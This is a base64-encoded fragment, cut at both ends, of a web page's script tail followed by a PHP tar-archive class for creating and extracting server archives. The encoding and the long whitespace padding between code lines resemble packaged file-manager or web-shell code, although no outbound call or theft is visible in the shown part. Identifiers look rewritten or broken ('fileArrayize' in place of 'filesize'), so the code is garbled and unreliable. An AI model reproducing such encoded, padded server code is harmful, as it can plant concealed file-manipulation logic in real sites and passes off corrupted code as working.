RydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICB4bHMuVXNlckNvbnRyb2wgPSB0cnVlOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4geGxzOw0KDQoJICAgICAJICAgICAJICAgICB9IGVsc2Ugew0KDQoJICAgICAJICAgICAJICAgICAJICAgICB0YWJsZVRvRXhjZWxEYXRhKGVsLCBuYW1lKTsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgfQ0KDQp9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQoNCg0KDQo8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQovL1BvcnRlZCBmcm9tIFJlbG9hZENNUyBwcm9qZWN0IGh0dHA6Ly9yZWxvYWRjbXMuY29tDQoNCmNsYXNzIGFyY2hpdmVUYXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgdmFyICRhcmNoaXZlTGFiZWwgPSAnJzsNCg0KCSAgICAgdmFyICRpbnRlcm1lZGlhdGVGaWxlID0gMDsNCg0KCSAgICAgdmFyICRmaWxlT2Zmc2V0ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgdmFyICRpc0ZpbGVDb21wcmVzc2VkID0gdHJ1ZTsNCg0KCSAgICAgdmFyICRmYWlsdXJlTG9ncyA9IGFycmF5KCk7DQoNCgkgICAgIHZhciAkZmlsZUFycmF5ID0gYXJyYXkoKTsNCg0KCSAgICAgDQoJICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpew0KDQoJICAgICAJICAgICBpZiAoIWlzc2V0KCR0aGlzLT5mYWlsdXJlTG9ncykpICR0aGlzLT5mYWlsdXJlTG9ncyA9IGFycmF5KCk7DQoJICAgICB9DQoJICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBmdW5jdGlvbiBnZW5lcmF0ZUFyY2hpdmUoJGZpbGVfbGlzdCl7DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKGZpbGVfZXhpc3RzKCR0aGlzLT5hcmNoaXZlTGFiZWwpICYmIGlzX2ZpbGUoJHRoaXMtPmFyY2hpdmVMYWJlbCkpIAkgICAgICRuZXdBcmNoaXZlID0gZmFsc2U7DQoNCgkgICAgIAkgICAgIGVsc2UgJG5ld0FyY2hpdmUgPSB0cnVlOw0KDQoJICAgICAJICAgICBpZiAoJG5ld0FyY2hpdmUpew0KCSAgICAgCSAgICAgCSAgICAgaWYgKCEkdGhpcy0+aW5pdGlhdGVGaWxlV3JpdGUoKSkgcmV0dXJuIGZhbHNlOw0KCSAgICAgCSAgICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYgKGZpbGVBcnJheWl6ZSgkdGhpcy0+YXJjaGl2ZUxhYmVsKSA9PSAwKQkgICAgIHJldHVybiAkdGhpcy0+aW5pdGlhdGVGaWxlV3JpdGUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIGlmICgkdGhpcy0+aXNGaWxlQ29tcHJlc3NlZCkgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+Y2xvc2VUZW1wRmlsZVN0cmVhbSgpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoIXJlbmFtZSgkdGhpcy0+YXJjaGl2ZUxhYmVsLCAkdGhpcy0+YXJjaGl2ZUxhYmVsLicudG1wJykpew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnQ2Fubm90IHJlbmFtZScpLicgJy4kdGhpcy0+YXJjaGl2ZUxhYmVsLl9fKCcgdG8gJykuJHRoaXMtPmFyY2hpdmVMYWJlbC4nLnRtcCc7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRtcEFyY2hpdmUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVMYWJlbC4nLnRtcCcsICdyYicpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoISR0bXBBcmNoaXZlKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSAkdGhpcy0+YXJjaGl2ZUxhYmVsLicudG1wICcuX18oJ2lzIG5vdCByZWFkYWJsZScpOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmVuYW1lKCR0aGlzLT5hcmNoaXZlTGFiZWwuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZUxhYmVsKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoISR0aGlzLT5pbml0aWF0ZUZpbGVXcml0ZSgpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmVuYW1lKCR0aGlzLT5hcmNoaXZlTGFiZWwuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZUxhYmVsKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCFnemVvZigkdG1wQXJjaGl2ZSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGRvIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT53cml0ZURhdGFTZWdtZW50KCRiaW5hcnlEYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHdoaWxlICghZ3plb2YoJHRtcEFyY2hpdmUpKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZ3pjbG9zZSgkdG1wQXJjaGl2ZSk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHVubGluaygkdGhpcy0+YXJjaGl2ZUxhYmVsLicudG1wJyk7DQoNCgkgICAgIAkgICAgIAkgICAgIH0gZWxzZSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVMYWJlbCwgJ3IrYicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoISR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlKQkgICAgIHJldHVybiBmYWxzZTsNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgaWYgKGlzc2V0KCRmaWxlX2xpc3QpICYmIGlzX2FycmF5KCRmaWxlX2xpc3QpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKGNvdW50KCRmaWxlX2xpc3QpPjApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRyZXN1bHQgPSAkdGhpcy0+Y29tcHJlc3NGaWxlc0ludG9CdW5kbGUoJGZpbGVfbGlzdCk7DQoJICAgICAJICAgICB9IGVsc2UgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnTm8gZmlsZScpLl9fKCcgdG8gJykuX18oJ0FyY2hpdmUnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmICgoJHJlc3VsdCkmJihpc19yZXNvdXJjZSgkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSkpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAnJyk7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT53cml0ZURhdGFTZWdtZW50KCRiaW5hcnlEYXRhKTsNCg0KCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgJHRoaXMtPmNsb3NlVGVtcEZpbGVTdHJlYW0oKTsNCgkgICAgIAkgICAgIGlmICgkbmV3QXJjaGl2ZSAmJiAhJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkdGhpcy0+Y2xvc2VUZW1wRmlsZVN0cmVhbSgpOw0KDQoJICAgICAJICAgICB1bmxpbmsoJHRoaXMtPmFyY2hpdmVMYWJlbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0NCgkgICAgIAkgICAgIHJldHVybiAkcmVzdWx0Ow0KDQoJICAgICB9DQoNCg0KDQoJICAgICBmdW5jdGlvbiBleHRyYWN0QnVuZGxlKCRwYXRoKXsNCgkgICAgIAkgICAgICRmaWxlTmFtZSA9ICR0aGlzLT5hcmNoaXZlTGFiZWw7DQoNCgkgICAgIAkgICAgIGlmICghJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQpew0KCSAgICAgCSAgICAgCSAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlTmFtZSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCRmcCA9IGZvcGVuKCRmaWxlTmFtZSwgJ3JiJykpew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkZGF0YSA9IGZyZWFkKCRmcCwgMik7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBmY2xvc2UoJGZwKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCRkYXRhID09ICdcMzdcMjEzJyl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5pc0ZpbGVDb21wcmVzc2VkID0gdHJ1ZTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIGVsc2VpZiAoKHN1YnN0cigkZmlsZU5hbWUsIC0yKSA9PSAnZ3onKSBPUiAoc3Vic3RyKCRmaWxlTmFtZSwgLTMpID09ICd0Z3onKSkgJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQgPSB0cnVlOw0KDQoJICAgICAJICAgICB9IA0KDQoJICAgICAJICAgICAkcmVzdWx0ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQpICR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlID0gZ3pvcGVuKCRmaWxlTmFtZSwgJ3JiJyk7DQoNCgkgICAgIAkgICAgIGVsc2UgJHRoaXMtPmludGVybWVkaWF0ZUZpbGUgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoISR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlKXsNCg0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSAkZmlsZU5hbWUuJyAnLl9fKCdpcyBub3QgcmVhZGFibGUnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSAkdGhpcy0+dW5jb21wcmVzc0ZpbGVzSW50b0J1bmRsZSgkcGF0aCk7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5jbG9zZVRlbXBGaWxlU3RyZWFtKCk7DQoJICAgICAJICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZnVuY3Rpb24gZGlzcGxheUZhaWx1cmVNZXNzYWdlcwkgICAgICgkbWVzc2FnZSA9ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJEVycm9ycyA9ICR0aGlzLT5mYWlsdXJlTG9nczsNCg0KCSAgICAgCSAgICAgaWYoY291bnQoJEVycm9ycyk+MCkgew0KDQoJICAgICAJICAgICBpZiAoIWVtcHR5KCRtZXNzYWdlKSkgJG1lc3NhZ2UgPSAnICgnLiRtZXNzYWdlLicpJzsNCgkgICAgIAkgICAgIAkgICAgICRtZXNzYWdlID0gX18oJ0Vycm9yIG9jY3VycmVkJykuJG1lc3NhZ2UuJzogPGJyLz4nOw0KDQoJICAgICAJICAgICAJICAgICBmb3JlYWNoICgkRXJyb3JzIGFzICR2YWx1ZSkNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1lc3NhZ2UgLj0gJHZhbHVlLic8YnIvPic7DQoNCgkgICAgIAkgICAgIAkgICAgIHJldHVybiAkbWVzc2FnZTsJICAgICANCgkgICAgIAkgICAgIH0gZWxzZSByZXR1cm4gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICANCg0KCSAgICAgfQ0KDQoJICAgICANCgkgICAgIGZ1bmN0aW9uIGNvbXByZXNzRmlsZXNJbnRvQnVuZGxlKCRmaWxlX2FycmF5KXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRyZXN1bHQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKCEkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSl7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7DQoNCgkgICAgIAkgICAgIAkgICAgIHJldHVybiBmYWxzZTsNCgkgICAgIAkgICAgIH0NCgkgICAgIAkgICAgIGlmICghaXNfYXJyYXkoJGZpbGVfYXJyYXkpIHx8IGNvdW50KCRmaWxlX2FycmF5KTw9MCkNCiAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpPGNvdW50KCRmaWxlX2FycmF5KTsgJGkrKyl7DQoJICAgICAJICAgICAJICAgICAkZmlsZW5hbWUgPSAkZmlsZV9hcnJheVskaV07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgaWYgKCRmaWxlbmFtZSA9PSAkdGhpcy0+YXJjaGl2ZUxhYmVsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgY29udGludWU7DQoJICAgICAJICAgICAJICAgICBpZiAoc3RybGVuKCRmaWxlbmFtZSk8PTApDQoJICAgICAJICAgICAJICAgICAJICAgICBjb250aW51ZTsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZW5hbWUpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnTm8gZmlsZScpLicgJy4kZmlsZW5hbWU7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGNvbnRpbnVlOw0KDQoJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICghJHRoaXMtPmludGVybWVkaWF0ZUZpbGUpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkdGhpcy0+ZmFpbHVyZUxvZ3NbXSA9IF9fKCdJbnZhbGlkIGZpbGUgZGVzY3JpcHRvcicpOw0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgaWYgKHN0cmxlbigkZmlsZW5hbWUpPD0wKXsNCg0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnRmlsZW5hbWUnKS4nICcuX18oJ2lzIGluY29ycmVjdCcpOzsNCg0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgICRmaWxlbmFtZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGZpbGVuYW1lKTsNCgkgICAgIAkgICAgICRrZWVwX2ZpbGVuYW1lID0gJHRoaXMtPmNvbnN0cnVjdEZpbGVQYXRoKCRmaWxlbmFtZSk7DQoNCgkgICAgIAkgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgaWYgKCgkZmlsZV9nZXQgPSBmb3BlbigkZmlsZW5hbWUsICdyYicpKSA9PSAwKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnTW9kZSAnKS5fXygnaXMgaW5jb3JyZWN0Jyk7DQoJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmKCgkdGhpcy0+ZmlsZU9mZnNldCA9PSAwKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmKCEkdGhpcy0+aW5zZXJ0RmlsZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKSkNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICB3aGlsZSAoKCRidWZmZXIgPSBmcmVhZCgkZmlsZV9nZXQsIDUxMikpICE9ICcnKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT53cml0ZURhdGFTZWdtZW50KCRiaW5hcnlEYXRhKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgZmNsb3NlKCRmaWxlX2dldCk7DQoNCgkgICAgIAkgICAgIH0JICAgICBlbHNlICR0aGlzLT5pbnNlcnRGaWxlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5